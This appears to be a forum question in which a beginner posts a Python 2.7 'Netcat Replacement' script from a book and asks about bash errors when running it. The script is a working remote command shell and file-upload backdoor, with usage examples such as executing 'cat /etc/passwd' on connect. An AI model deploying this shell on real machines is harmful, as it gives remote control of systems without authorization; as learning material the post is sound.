I recently bought a book to start playing around a bit with python and one of the scripts is the following:
#!/usr/bin/python2.7
import sys
import socket
import getopt
import threading
import subprocess
# define some global variables
listen             = False
command            = False
upload             = False
execute            = ""
target             = ""
upload_destination = ""
port               = 0
# this runs a command and returns the output
def run_command(command):
    # trim the newline
    command = command.rstrip()
    # run the command and get the output back
    try:
        output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Failed to execute command.\r\n"
    # send the output back to the client
    return output
# this handles incoming client connections
def client_handler(client_socket):
    global upload
    global execute
    global command
    # check for upload
    if len(upload_destination):
        # read in all of the bytes and write to our destination
        file_buffer = ""
        # keep reading data until none is available
        while True:
            data = client_socket.recv(1024)
            if not data:
                break
            else:
                file_buffer += data
        # now we take these bytes and try to write them out
        try:
            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()
            # acknowledge that we wrote the file out
            client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
        except:
            client_socket.send("Failed to save file to %s\r\n" % upload_destination)
    # check for command execution
    if len(execute):
        # run the command
        output = run_command(execute)
        client_socket.send(output)
    # now we go into another loop if a command shell was requested
    if command:
        while True:
            # show a simple prompt
            client_socket.send("<BHP:#> ")
            # now we receive until we see a linefeed (enter key)
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)
            # we have a valid command so execute it and send back the results
            response = run_command(cmd_buffer)
            # send back the response
            client_socket.send(response)
# this is for incoming connections
def server_loop():
    global target
    global port
    # if no target is defined we listen on all interfaces
    if not len(target):
        target = "0.0.0.0"
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target,port))
    server.listen(5)        
    while True:
        client_socket, addr = server.accept()
        # spin off a thread to handle our new client
        client_thread = threading.Thread(target=client_handler,args=(client_socket,))
        client_thread.start()
# if we don't listen we are a client....make it so.
def client_sender(buffer):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        # connect to our target host
        client.connect((target,port))
        # if we detect input from stdin send it 
        # if not we are going to wait for the user to punch some in
        if len(buffer):
            client.send(buffer)
        while True:
            # now wait for data back
            recv_len = 1
            response = ""
            while recv_len:
                data     = client.recv(4096)
                recv_len = len(data)
                response+= data
                if recv_len < 4096:
                    break
            print response, 
            # wait for more input
            buffer = raw_input("")
            buffer += "\n"                        
            # send it off
            client.send(buffer)
    except:
        # just catch generic errors - you can do your homework to beef this up
        print "[*] Exception! Exiting."
        # teardown the connection                  
        client.close()  
def usage():
    print "Netcat Replacement"
    print
    print "Usage: bhpnet.py -t target_host -p port"
    print "-l --listen                - listen on [host]:[port] for incoming connections"
    print "-e --execute=file_to_run   - execute the given file upon receiving a connection"
    print "-c --command               - initialize a command shell"
    print "-u --upload=destination    - upon receiving connection upload a file and write to [destination]"
    print
    print
    print "Examples: "
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
    print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
    sys.exit(0)
def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target
    if not len(sys.argv[1:]):
        usage()
    # read the commandline options
    try:
        opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
    except getopt.GetoptError as err:
        print str(err)
        usage()
    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l","--listen"):
            listen = True
        elif o in ("-e", "--execute"):
            execute = a
        elif o in ("-c", "--commandshell"):
            command = True
        elif o in ("-u", "--upload"):
            upload_destination = a
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-p", "--port"):
            port = int(a)
        else:
            assert False,"Unhandled Option"
    # are we going to listen or just send data from stdin
    if not listen and len(target) and port > 0:
        # read in the buffer from the commandline
        # this will block, so send CTRL-D if not sending input
        # to stdin
        buffer = sys.stdin.read()
        # send data off
        client_sender(buffer)   
    # we are going to listen and potentially 
    # upload things, execute commands and drop a shell back
    # depending on our command line options above
    if listen:
        server_loop()
main() 
I have debugged the script and try to run it in terminal but it looks like it hangs for a while and then I get the following error:
./bhnet.py: line 10: listen: command not found
./bhnet.py: line 11: =: command not found
./bhnet.py: line 12: upload: command not found
./bhnet.py: line 13: execute: command not found
./bhnet.py: line 14: target: command not found
./bhnet.py: line 15: upload_destination: command not found
./bhnet.py: line 16: port: command not found
./bhnet.py: line 19: syntax error near unexpected token `('
./bhnet.py: line 19: `def run_command(command):'
I checked the code with the one in the book and even have the actual code so I tried that as well but still nothing. I wish I could be more specific than that. Any suggestions would be appreciated. Thanks.
 
     
     
    